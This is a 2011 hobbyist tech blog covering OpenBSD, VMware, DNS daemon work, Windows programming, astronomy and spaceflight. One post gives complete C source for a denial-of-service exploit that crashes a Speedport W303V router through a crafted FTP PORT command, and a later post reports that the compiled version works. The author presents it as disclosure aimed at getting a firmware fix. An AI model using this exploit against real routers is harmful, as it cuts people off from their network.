Ich habe getan was meinche online zeitungen tun (globeandmail.com). Jede 30 sekunden erfrischt ein Javascript programm das blaue auge das unten rechts ist. Dies zeigt mir ob jemand die meinen blog lesen am leben oder menschen sind. Vielleicht ist dies als privatssphaere invasion angenommen, aber ich bin interessiert in wie lange ein mensch meinen blog liest, ich weiss nicht wie ich die logs dazu lesen soll. Auf jeden fall sammle ich die daten. Schuldigung wenns dich stoert.



OpenBSD 5.0 with or without a browser in AMD64?

June 2nd, 2011

A new awesome function in OpenBSD-current breaks software that is written on 32 bit operating systems. In a mail by Marc Espie to the OpenBSD misc@ mailing list he says:

Not surprisingly, a lot of software that claims to be 64 bits-ready isn't. This touches all web navigators, most jit engines, and probably lots more of software (our ports tree version of gnu-grep, for instance).

He goes on to say: So, a lot of developers are hard at work figuring the problems, getting the word upstream.

So further in the thread Theo de Raadt dug up some stuff that Linux is using particularly a flag in mmap that forces 64 bit kernels to only allocate in the low 32 bits for its programs , like Theo said this is sickening.

Later I wrote asking what the OpenBSD community would do if the browsers can't be fixed in time for the 5.0 release. Because that's what it comes down to for me. When I boot my OpenBSD/amd64 vm instance "dione" I log into X and open usually 1 or 2 xterms and firefox. I do most of my surfing on OpenBSD and only when I need flash do I change to another operating system such as Windows 7. This habit may be in danger here, if the firefox mozilla team can't fix their software in time for the 5.0 release. I have some experience with getting programs fixed "upstream" and not always is there willingness to fix what is wrong out of whatever reason.

So for me, this means relax and sit back and wait. Its unlikely OpenBSD can bundle a browser with their software in time for 5.0 and we may have to go without one in the amd64 platform. Or perhaps the fixes for mozilla are trivial and I'm worried over nothing. But this makes a good writeup for my blog :-).



Cleaning heatsink reduces CPU temperature

June 2nd, 2011

My apartment isn't the cleanest place on earth. So it happens that dust accumulates inside the computer case and eventually gets into the fans and heatsinks. Today was one of those days where the CPU fan could not cool the CPU sufficiently anymore and the box overheated. I had a hard time connecting this heatsink to the cpu, the first time I musta done it wrong and the CPU overheated very quickly. The second time I watched the temperature in the bios hardware monitor for 15 minutes and last I saw it at 48.5 degrees Celsius. Still fairly high considering the Fan was at 2200 RPM's. But I felt that this was better than the 70's that it was at earlier. I do wonder whether a liquid cooling system is better for my setup.



Bought a book on Windows System programming

June 5th, 2011

This is the book that I purchased. I'm hoping to learn a bit about the Windows system. I can use that knowledge to better my understanding of how OS's work in general.



Speedport W303V crashes on PORT FTP command

June 13th, 2011

My parents have a Speedport W303V router bought from T-Home as they are a Telekom customer. I was playing around with FreeBSD today and noticed that whenever I'd ftp something the router would crash. So I tcpdumped it and produced this exploit that crashes this router.

/* speedzap.c by pbug
 *
 * This program crashes a T-Home Speedport W 303V router 
 * with firmware version 1.09.000
 *
 * The router is not even touched, an FTP PORT command is sent with an
 * IP that is not in the address range given out by this router.
 *
 * Some proxy inside the router must cause it to give up and become 
 * unreachable.
 *
 * cc -o speedzap speedzap.c ; ./speedzap
 *
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define FTPSERVER "213.83.42.56"
#define FTPPORT	21
#define BYEBYE "PORT 10,0,2,15,167,140\r\n"

int
main(void)
{
	struct sockaddr_in sin;
	int so;
	char buf[512];


	so = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	if (so < 0) {
		perror("socket");
		exit(1);
	}

	memset(&sin, 0, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_port = htons(FTPPORT);
	sin.sin_addr.s_addr = inet_addr(FTPSERVER);
	if (connect(so, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
		perror("connect");
		exit(1);
	}

	read(so, buf, sizeof(buf));
	write(so, BYEBYE, strlen(BYEBYE));
	
	printf("zapped, restart your router.\n");

	close(so);

	exit(0);
}
The program is intended for educational use to show how bad some proxy functions are built-in to routers.



Update on Speedport W303V crash

June 18th, 2011

The particular router is a Type A machine, where two models exist. Type A and Type B. I called the telekom yesterday and told them the problem and they had me put the default settings back on the router after backing up the settings and try again. NO GO. The firmware is the latest released and all we can hope for is another firmware patch. This router is beyond broken and I can't continue to FTP stuff like freebsd ezjail stuff on virtualbox. The tech at the telekom said we could exchange the router but we weren't on warranty anymore. This is like an 80 euro router... so we left it at that. I came out empty handed.



Solstice in three days

June 18th, 2011

The June Solstice is in three days. This means summer in the northern hemisphere and winter in the southern hemisphere.



My second Windows program

June 25th, 2011

Since I got my windows system programming book I've been toiling with a program on windows. The first program was a hello, world program and this is the second program.

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tchar.h>

int find(TCHAR *filename, TCHAR *buf, TCHAR *);

int
_tmain(int argc, char *argv[])
{
        TCHAR buf[MAX_PATH + 1];
        TCHAR filename[MAX_PATH + 1];

        if (argc == 1) {
                printf("enter filename to find:\n");
                fgets(filename, sizeof(filename), stdin);

                if (filename[strlen(filename) - 1] == '\n')
                        filename[strlen(filename) - 1] = '\0';
                if (filename[strlen(filename) - 1] == '\r')
                        filename[strlen(filename) - 1] = '\0';

                printf("enter directory to start search:\n");
                fgets(buf, sizeof(buf), stdin);

                if (buf[strlen(buf) - 1] == '\n')
                        buf[strlen(buf) - 1] = '\0';
                if (buf[strlen(buf) - 1] == '\r')
                        buf[strlen(buf) - 1] = '\0';

                if (buf[strlen(buf) - 1] != '\\') {
                        strncat(buf, "\\", sizeof(buf));
                }
        }
        
        find(filename, buf, buf);
        printf("find done.\n");
        
        fgets(buf, sizeof(buf), stdin);
        return(0);
}

int
find(TCHAR *filename, TCHAR *buf, TCHAR *samefile)
{
        TCHAR newbuf[MAX_PATH + 1];
        HANDLE myH;
        WIN32_FIND_DATA fd;
        DWORD fType;
        

        strcat(buf, "\*");

        myH = FindFirstFile(buf, &fd);

        do {
                if (strcmp(fd.cFileName, filename) == 0) {
                                
                                strncpy(newbuf, buf, MAX_PATH);
                                newbuf[strlen(newbuf) - 1] = '\0';
                                strncat(newbuf, fd.cFileName, MAX_PATH);

                                _tprintf(_T("%s\n"), newbuf);
                }

                if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {

                        if (strcmp(fd.cFileName, samefile) == 0)
                                        continue;

                        if (strcmp(fd.cFileName, ".") == 0 ||
                                        strcmp(fd.cFileName, "..") == 0)
                                                continue;
                        
                        strncpy(newbuf, buf, sizeof(newbuf));
                        newbuf[strlen(newbuf) - 1] = '\0';
                        strncat(newbuf, fd.cFileName, MAX_PATH);
                        strncat(newbuf, "\\", MAX_PATH);

                        if (find(filename, newbuf, fd.cFileName) == 1)
                                        break;

                }
        
        } while (FindNextFile(myH, &fd));
        FindClose(myH);

        return (0);
}
The program requires one to press enter at the end when the finding is done which is a feature I put in for the Visual C++ Express program when one debugs it so that the cmd screen stays open. What the program does is similar to UNIX's find(1), although this implementation is more like a joke. Notice one has to use "*" to list contents in a path. yikes.



Syncing clock on OpenBSD/VMware Workstation

June 29th, 2011

I recently synced all my clocks on OpenBSD vm's using the vmt(4) timedelta sensor that is included in OpenBSD 4.9.

tail -f /var/log/daemon ...
Jun 29 19:02:23 cupid ntpd[18033]: adjusting local clock by -0.275138s
Jun 29 19:03:54 cupid ntpd[16677]: clock is now synced
^C
# grep -v ^# /etc/ntpd.conf|grep sensor 
sensor vmt0
That's all that's needed in the config for ntpd to run on the vm.



My third Windows program, speedport exploit

June 30th, 2011

With help from someone I managed to compile my exploit that crashes the Speedport W303V type A router. The .exe is executed from Windows 7 cmd window.

MD5 (speedport_exploit.exe) = 9eb9f16e64feaa8ccd316b9ca51c93c1

I'm gonna try it from my parents house some time and see if it really does crash the router. :-).

Update: it works at my parents house with windows XP. My mom wanted to know why I was making this and what my goal is. My goal is to get a firmware patch out of this from the manufacturer, so that I can continue the legit operations that this uses for a freebsd ezjail install.



Ordered two new books

July 4th, 2011

I've ordered two new books. Now that I'm working hard it's time to reap the benefits to furthering myself. The one is the book you see in the image and the other is a book on javascript. I'm hoping to better my website with javascript eventually.

So what happened to my UNIX love, now that I'm ordering Windows books you may ask? It's still there but I'd like to explore other possibilities and windows is pretty mainstream. I'm toying with the thought of porting wildcarddnsd to windows. All in good time, if ever.



Constellation Name Abbreviations

July 8th, 2011

I got this out of the program xephem which lists 89 constellations:

And:  Andromeda         Cyg:  Cygnus            Pav:  Pavo
Ant:  Antlia            Del:  Delphinus         Peg:  Pegasus
Aps:  Apus              Dor:  Dorado            Per:  Perseus
Aql:  Aquila            Dra:  Draco             Phe:  Phoenix
Aqr:  Aquarius          Equ:  Equuleus          Pic:  Pictor
Ara:  Ara               Eri:  Eridanus          PsA:  Piscis  Austrinus
Ari:  Aries             For:  Fornax            Psc:  Pisces
Aur:  Auriga            Gem:  Gemini            Pup:  Puppis
Boo:  Bootes            Gru:  Grus              Pyx:  Pyxis
CMa:  Canis  Major      Her:  Hercules          Ret:  Reticulum
CMi:  Canis  Minor      Hor:  Horologium        Scl:  Sculptor
CVn:  Canes  Venatici   Hya:  Hydra             Sco:  Scorpius
Cae:  Caelum            Hyi:  Hydrus            Sct:  Scutum
Cam:  Camelopardalis    Ind:  Indus             Se1:  Serpens  Caput
Cap:  Capricornus       LMi:  Leo  Minor        Sex:  Sextans
Car:  Carina            Lac:  Lacerta           Sge:  Sagitta
Cas:  Cassiopeia        Leo:  Leo               Sgr:  Sagittarius
Cen:  Centaurus         Lep:  Lepus             Tau:  Taurus
Cep:  Cepheus           Lib:  Libra             Tel:  Telescopium
Cet:  Cetus             Lup:  Lupus             TrA:  Triangulum  Austral
Cha:  Chamaeleon        Lyn:  Lynx              Tri:  Triangulum
Cir:  Circinus          Lyr:  Lyra              Tuc:  Tucana
Cnc:  Cancer            Men:  Mensa             UMa:  Ursa  Major
Col:  Columba           Mic:  Microscopium      UMi:  Ursa  Minor
Com:  Coma  Berenices   Mon:  Monoceros         Vel:  Vela
CrA:  Corona  Australis Mus:  Musca             Vir:  Virgo
CrB:  Corona  Borealis  Nor:  Norma             Vol:  Volans
Crt:  Crater            Oct:  Octans            Vul:  Vulpecula
Cru:  Crux              Oph:  Ophiuchus         Se2:  Serpens  Cauda
Crv:  Corvus            Ori:  Orion



End of an era, on to the next...

July 22nd, 2011

No, the eagle has not landed. It was the US space shuttle Atlantis that did land at Kennedy Space center a few days ago. There won't be any more space shuttle launches and some people see this as an embarrasment for the US. I don't see it that way but rather have been watching the reports come in from companies such as SpaceX (Falcon rocket, Dragon capsule). The reports are good and I saw a schedule the other day where we'll see a Dragon capsule scheduled for docking with the ISS (International Space Station). Looking back the shuttle has followed and haunted me in my life, I remember the first time I heard about it when the Challenger blew up upon launch. That was the first memory I have of the shuttle. Not exactly a good one. At that time we had immigrated to Canada and I learned that the Canadarm (the shuttles robotic arm) was Canadas contribution to the shuttle. A decade and a half later I immigrated back to Germany and not too soon after that the Columbia disintegrated upon re-entry over Texas. Another haunting memory, but I can say that whenever I migrated around the globe that a shuttle and its crew was lost. My role models were German and Canadian Astronauts. Such as Ulf Merbold, Thomas Reiter, Chris Hadfield, Marc Garneau, Roberta Bondar, are some that come to mind. All of them flew on the shuttle I believe as mission specialists and carried the dream to their respective nations with stories of another state of being (in freefall/in space). So what's next now that the shuttles don't rise anymore? Like I said Space X, Russian Soyuz, European Soyuz and ATV, Chinese, Japanese and Indian space rockets and a slew of other commercial carriers all striving for manned space flight. And since most commercial manned space programs are american it's not an embarrasment but another national hope/treasure. The shuttle was prohibitively expensive and we need the cheaper alternatives that are now up and coming. So with that I say "you did well ol' shuttle fleet, now rest in peace", and I'm thrilled with the future on what's to come.



leopard -> snow leopard, no problem!

July 24th, 2011

I bought Snow Leopard for my dad yesterday. We installed it on his Mac Book which has a Core 2 Duo processor. No files were lost but the only thing we did was upgrade VMware Fusion from 2.0.8 to 3.1.3 which cost 30.70 euros plus tax. I'm not sure we needed to upgrade the Fusion but it was a surety thing. The intial update after installing Mac OS X 10.6.3 was a 1 GB update to take us to 10.6.8 or something. It was quite a download over the 3 Mbps DSL but it will be nothing compared to the Mac OS X Lion download that we'll be conducting next week. :-).



snow leopard -> lion

July 30th, 2011

Today we purchased and downloaded Mac OS X Lion (10.7). Everything went smooth. I finally got the Macbook to run in 64 bit mode too. Interesting is that lion has a "pfctl" command. That's new!



Turned on comments

August 5th, 2011

I did a bit of programming today and turned on comments on the blog. You can view them when you click on the articles themselves. No captcha yet though. I hope you find this useful at all, I don't really but I'm willing to take this next big step. Comments are restricted to 8000 bytes or something so keep it short.



Got new SIP (VOIP) phone

August 6th, 2011

Yesterday, I got my new sip phone. It's a Grandstream GXP 2100. I'm looking forward to making it work, but it works already. The voice clarity is great. Last week I signed up to sipgate.de for a sip account and I'm getting rates of 1 cent per minute in Germany. There is a flatrate for this but I'll have to see if it's worth it. Also I'm unsure whether I'm getting billed for incoming calls, something I'll have to figure out.



SVPRadio the new Stratford sound

August 7th, 2011

For the past 20 weeks or so a friend and I have been working weekly on a new project. SVPradio is an Internet Radio station for Stratford, Ontario residents and it broadcasts for 6 hours every week (on wednesdays). While my friend DJ Jaz handles the organization and sound I took care of the behind the scenes setup that an Internet Radio station needs. Another friend of mine offered us his server for this which was very nice. Our weekly traffic is still very low as we're not well known yet but word is spreading surely as now the DJ'ing is done from the storefront of Stratford's Compudoc. Here is a picture: In this picture I believe you see DJ Wigs who does a drum-bass and jungle show. All in all the people who make SVPradio happen are great and the shows are always interesting. We always wanted to have SVPradio since our teenager years and the name "SVP" was picked back then as well. What it stands for I'll leave to your imagination as we don't want to reveal that yet. One fitting acronym is "Stratford's very pretty". I'm looking forward to the next 20 weeks and perhaps our listener volume will increase too.



1/6 of my traffic is IPv6 traffic

August 10th, 2011

$ printf "em0\ngif0\n" | while read i ; do netstat -nsbI $i|head -2 ; done
Name    Mtu   Network     Address               Ibytes     Obytes
em0     1500        00:90:0b:19:56:04 36803931395 6075787347
Name    Mtu   Network     Address               Ibytes     Obytes
gif0    1280                          5926981413  823262847
$ uptime
10:31PM  up 103 days,  1:47, 1 user, load averages: 0.50, 0.39, 0.36
$ 
The output reveals the Ipv4 and IPv6 interfaces on my home host uranus. gif0 is tunneled over em0 so the 6GB are part of em0's 36GB.



Grandstream GXP-2100 Phonebook Generator

August 12th, 2011

I made a smallish script that produces an .xml file that the grandstream phone can grok for its telephone book. I didn't want to store this on my SIP providers interface because I don't want to reveal the numbers that I have stored other than when I dial them.

	GRANDSTREAM PHONEBOOK GENERATOR V 1.0

	1. ENTER PHONE NUMBER
	2. DISPLAY ALL PHONE NUMBERS
	3. GENERATE PHONEBOOK
	4. EXIT
The script is too simple really. I could stick more effort into it but then it wouldn't be my philosophy of being uber-lazy. Here is the script.



More german translations / Mehr Uebersetzungen

August 21st, 2011

I have translated some more hackepedia articles to german over the last few weeks and want to give you an update. Direct your browser to: hackepedia german translations and see the following entries:

-rw-r--r-- 1 uranus shusers  9125 2011-08-10 21:25 index.html
-rw-r--r-- 1 uranus shusers   620 2011-08-11 17:49 ppid.html
-rw-r--r-- 1 uranus shusers   521 2011-08-11 17:51 pop.html
-rw-r--r-- 1 uranus shusers  3219 2011-08-11 18:13 permissions.html
-rw-r--r-- 1 uranus shusers   702 2011-08-11 18:18 pppoe.html
-rw-r--r-- 1 uranus shusers  1493 2011-08-12 17:12 pipe.html
-rw-r--r-- 1 uranus shusers  6951 2011-08-12 17:50 ppp.html
-rw-r--r-- 1 uranus shusers  5102 2011-08-12 21:28 traceroute.html
-rw-r--r-- 1 uranus shusers  2040 2011-08-15 20:26 newfs.html
-rw-r--r-- 1 uranus shusers  3535 2011-08-21 15:50 privilige-escalation.html

Hier sind ein paar mehr Uebersetzungen ins Deutsche. hackepedia in Deutschland.



Growing a partition on OpenBSD under VMware Workstation 7.1

September 2nd, 2011

I ran out of space on my OpenBSD vm that I use for most everything. So I did the following:

  1. shut off vm
  2. under settings of vm, disk select utilities, expand
  3. grew my partition from 25 GB to 30 GB
  4. saved
  5. booted vm into single user mode
  6. used fdisk -e wd0 to grow the fdisk
  7. used disklabel -E wd0 to grow the last partition (/home)
  8. (yeah I was lucky /home was the last partition and it needed growing)
  9. used growfs /dev/wd0k
  10. fsck -y /dev/wd0k
  11. mount -a
  12. control-d to go into multiuser mode
  13. partition was grown 5 GB's
Hope this helps whomever.



Free Bradley Manning

September 3rd, 2011

I've been subscribed to the Bradley Manning group on Facebook for a while now. This particular photo intrigued me. It's fitting now that ALL the wikileaks cables have been released. This particular billboard is found in Kansas City, USA. Free Bradley Manning!



OpenBSD 5.0 song any day now...

September 3rd, 2011

I've researched when we should be getting hold of the song of OpenBSD 5.0. Last year for OpenBSD 4.8 and the year before for OpenBSD 4.6 the release date was between September 8th and 11th. So sometime in the next 8 days we should get a new treat. I can hardly wait!



Data Retention Law Ideas / Datenspeicherung Gesetz Ideen

September 3rd, 2011

When it comes to data retention for law enforcement, where do you draw the line between helping law enforcement and preventing a police state? I had a quick thought about this and was thinking why don't service providers give their data to the law enforcement in real-time with a twist. The data is encrypted with a random key string and the key is then deleted. The police have to then brute-force crack the encryption costing them resources (electricity, cpu time). This discourages cracking too much because society's energy resources are not endless and computers are expensive. As computers get more powerful the crypto is adjusted to match more powerful algorithms. The police have a turnaround of X amount of days or hours to break 1 record and society as a whole is protected from the panopticon.

Wenn man mit Zugangsdaten umgeht und es der Polizei liefert, wo zieht man den Strich zwischen helfen der Polizei und einen Polizeistaat zu vermeiden. Ich hatte eine kleine Gedankenspause darueber und dachte das es mit den Providern doch moeglich waere die Zugangsdaten in echt-zeit zu uebergeben. Aber mit einer grossen Aenderung. Und zwar werden die Daten mit einem zufaelligem Passwort verschluesselt und der Schluessel wird dann vernichtet. Die Polizei muessen dann die Verschluesselung brechen was ihnen Zeit und Geld kostet (Elektrisitaet und Computer Zeit). Dieses verfahren soll die Polizei entmutigen alle Daten zu knacken da der Gesellschafts die Energie nicht endlos ist und Computer kosten viel Geld (Grossrechner). Wenn Computer mehr Kraft bekommen wird der Crypto auch angepasst so das es immer einige Zeit dauert bis eine Datei (record) geknackt ist. Die Polizei hat einige Zeit von mehreren Stunden oder Tagen, einen Record zu knacken und die Gesellschaft ist geschuetzt vor dem Panoptikon.

PS: You can use all crypto algorithms available in order to strengthen the entire scheme. If for example AES is broken mathematically but Twofish is not then only those records encrypted with AES are vulnerable to being opened on a mass scale. I have a book where there is at least 30 algorithms listed, some weaker and some stronger, some broken and some good to go with, if all of them are used then chances are good for a non-policestate.



OpenBSD 5.0 pre-orders announced & song

September 7th, 2011

Today Theo de Raadt, made the 5.0 song available. He also said pre-orders are now activated. Shortly afterwards OpenBSD Europe said they'd also offer pre-orders a few hours later.

Now about the song. The theme is based on MAD Magazine. In my lifetime I maybe bought 1 MAD magazine and I didn't like it. I didn't understand it though because I was a german immigrant to north america and didn't know the english language too well. But the song did surprise me, I would have never guessed the direction it took this time, good job.



Possibly going to EuroBSDCon 2011

September 15th, 2011

I've been approved holidays on the week that EuroBSDCon is held in the Netherlands. So I may just go there. I'll likely get the registration out of the way the next week or so. It's been 11 years since I've last been at a BSDCon, the last time was in Monterrey in California. It's a good thing I got a bit of savings as it's going to cost a bit, but it's likely worth it.



Wildcarddnsd and AXFR

September 17th, 2011

Wildcarddnsd does passive AXFR now. I finally hammered the code into the thing and debugged it over a period of 2 weeks. So what I've done is changed goldflipper.net's name daemon to bind9 and it now AXFR queries the zones from uranus.centroid.eu doing AXFR. The code of this isn't publically available yet as I haven't committed it yet, but if everything goes well I'll look at committing within the next 2 weeks.

Also there have been some core changes in wildcarddnsd, more on that later.



Going to EuroBSDCon for sure

September 18th, 2011

Well I just paid the registration including 1 tutorial. I'll be attending the "Building the network you need with PF, the OpenBSD packet filter" tutorial by Peter N. M. Hansteen. I'm hoping to pick up some nifty tricks and get more familiar with the packet filter in general. Then I'll also attend the conference and social event. I enter Amsterdam on the 5th of October and then take the train to Maarssen on the 6th. On the 7th is the tutorial and 8th and 9th are the conference, on the 10th I'm going back to Germany by train and on the 11th I go back to work. Well I wish I could say see you there, but what the hell. See you there.



Equinox in 5 days

September 18th, 2011

Equinox is upon us again and will indicate that Autumn has arrived in the northern hemisphere.

Auf Deutsch, das Aequinoktium ist in fuenf Tagen wieder da. Fuer .de heisst das Herbst.



Mega-commit on Wildcarddnsd

September 19th, 2011

Well the AXFR code is in the wild now (:P). Here is a commit message that should be very informative on what was changed.



Wildcarddnsd Handbook

September 28th, 2011

I've created a small Handbook for the design and implementation of the Wildcarddnsd program. It may be interesting to some and you could learn something from it. I'm thinking of one day making this into a magicpoint presentation for speaking somewhere.



Bye Bye seti@home, Hello Rosetta@home

September 28th, 2011

I've been doing seti@home on and off before it was a BOINC task. However I'm getting weary of waiting for news of SETI discoveries. It's time to do something new. Out goes seti@home and in goes Rosetta@home. Rosetta@home is similar to Docking@home which I also participate in. It's really time to dedicate my computer to humans instead of aliens, we're in greater need (in our ignorance). If you're interested in what my BOINC stats are, here they are. I'm in spot 142,597 out of 2.2 million and dropping by 19 daily. That's OK though I'm not complaining.



Weird BIND9 observance

September 29th, 2011

Ever since I put in IXFR support in Wildcarddnsd I have been watching the logs and I have a very weird problem. Basically all zones except one DON'T get pulled. What's weird about this is that I'd expect either all zones get pulled on a regular basis or none like all but one are doing right now. When I restarted bind9 on goldflipper.net it pulled a zone update for centroid.eu and ever since has been pulling it on a regular basis. The SOA is the same on both goldflipper.net and uranus.centroid.eu:

$ dig +short soa centroid.eu @uranus.centroid.eu
uranus.centroid.eu. pjp.centroid.eu. 1316729113 3600 1800 1209600 86400
$ dig +short soa centroid.eu @ipv4.goldflipper.net
uranus.centroid.eu. pjp.centroid.eu. 1316729113 3600 1800 1209600 86400
Below is roughly an 80 line log of wildcarddnsd AXFR operations to show you what I mean.
Sep 29 10:52:37 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"4.7.0.f.0.6.a.0.1.0.0.2.ip6.arpa." type=SOA(6) class=1, answering
 "4.7.0.f.0.6.a.0.1.0.0.2.ip6.arpa."
Sep 29 11:06:45 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"ipv6.centroid.eu." type=SOA(6) class=1, answering "ipv6.centroid.eu."
Sep 29 11:09:01 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"centroid.eu." type=SOA(6) class=1, answering "centroid.eu."
Sep 29 11:09:02 uranus wildcarddnsd[7545]: AXFR connection from 
200.46.208.61 on interface "em0"
Sep 29 11:09:02 uranus wildcarddnsd[9575]: IXFR request for zone 
"centroid.eu.", replying...
Sep 29 11:11:32 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"solarscale.de." type=SOA(6) class=1, answering "solarscale.de."
Sep 29 11:21:45 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"swpegasus.de." type=SOA(6) class=1, answering "swpegasus.de."
Sep 29 11:33:05 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"goldflipper.net." type=SOA(6) class=1, answering "goldflipper.net."
Sep 29 11:35:17 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"ipv6.solarscale.de." type=SOA(6) class=1, answering "ipv6.solarscale.de."
Sep 29 11:50:35 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"4.7.0.f.0.6.a.0.1.0.0.2.ip6.arpa." type=SOA(6) class=1, answering 
"4.7.0.f.0.6.a.0.1.0.0.2.ip6.arpa."
Sep 29 11:55:40 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"ipv6.centroid.eu." type=SOA(6) class=1, answering "ipv6.centroid.eu."
Sep 29 11:58:49 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"centroid.eu." type=SOA(6) class=1, answering "centroid.eu."
Sep 29 11:58:50 uranus wildcarddnsd[7545]: AXFR connection from 
200.46.208.61 on interface "em0"
Sep 29 11:58:50 uranus wildcarddnsd[1519]: IXFR request for zone 
"centroid.eu.", replying...
Sep 29 12:07:16 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"solarscale.de." type=SOA(6) class=1, answering "solarscale.de."
Sep 29 12:08:14 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"swpegasus.de." type=SOA(6) class=1, answering "swpegasus.de."
Sep 29 12:20:39 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"goldflipper.net." type=SOA(6) class=1, answering "goldflipper.net."
Sep 29 12:25:34 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"ipv6.solarscale.de." type=SOA(6) class=1, answering "ipv6.solarscale.de."
Sep 29 12:38:01 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"4.7.0.f.0.6.a.0.1.0.0.2.ip6.arpa." type=SOA(6) class=1, 
answering "4.7.0.f.0.6.a.0.1.0.0.2.ip6.arpa."
Sep 29 12:43:14 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"ipv6.centroid.eu." type=SOA(6) class=1, answering "ipv6.centroid.eu."
Sep 29 12:45:44 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"centroid.eu." type=SOA(6) class=1, answering "centroid.eu."
Sep 29 12:45:44 uranus wildcarddnsd[7545]: AXFR connection from 
200.46.208.61 on interface "em0"
Sep 29 12:45:44 uranus wildcarddnsd[28509]: IXFR request for zone 
"centroid.eu.", replying...
Sep 29 12:59:30 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"solarscale.de." type=SOA(6) class=1, answering "solarscale.de."
Sep 29 13:07:35 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"swpegasus.de." type=SOA(6) class=1, answering "swpegasus.de."
Sep 29 13:16:02 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"goldflipper.net." type=SOA(6) class=1, answering "goldflipper.net."
Sep 29 13:23:37 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"ipv6.solarscale.de." type=SOA(6) class=1, answering "ipv6.solarscale.de."
Sep 29 13:34:29 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"4.7.0.f.0.6.a.0.1.0.0.2.ip6.arpa." type=SOA(6) class=1, answering 
"4.7.0.f.0.6.a.0.1.0.0.2.ip6.arpa."
Sep 29 13:41:04 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"ipv6.centroid.eu." type=SOA(6) class=1, answering "ipv6.centroid.eu."
Sep 29 13:45:00 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"centroid.eu." type=SOA(6) class=1, answering "centroid.eu."
Sep 29 13:45:00 uranus wildcarddnsd[7545]: AXFR connection from 
200.46.208.61 on interface "em0"
Sep 29 13:45:00 uranus wildcarddnsd[5739]: IXFR request for zone 
"centroid.eu.", replying...
Sep 29 13:56:28 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"solarscale.de." type=SOA(6) class=1, answering "solarscale.de."
Sep 29 14:01:17 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"swpegasus.de." type=SOA(6) class=1, answering "swpegasus.de."
Sep 29 14:15:23 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"goldflipper.net." type=SOA(6) class=1, answering "goldflipper.net."
Sep 29 14:15:56 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"ipv6.solarscale.de." type=SOA(6) class=1, answering "ipv6.solarscale.de."
Sep 29 14:22:09 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"4.7.0.f.0.6.a.0.1.0.0.2.ip6.arpa." type=SOA(6) class=1, answering 
"4.7.0.f.0.6.a.0.1.0.0.2.ip6.arpa."
Sep 29 14:36:45 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"centroid.eu." type=SOA(6) class=1, answering "centroid.eu."
Sep 29 14:36:45 uranus wildcarddnsd[7545]: AXFR connection from 
200.46.208.61 on interface "em0"
Sep 29 14:36:46 uranus wildcarddnsd[24765]: IXFR request for zone 
"centroid.eu.", replying...
Sep 29 14:39:57 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"ipv6.centroid.eu." type=SOA(6) class=1, answering "ipv6.centroid.eu."
Sep 29 14:42:54 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"solarscale.de." type=SOA(6) class=1, answering "solarscale.de."
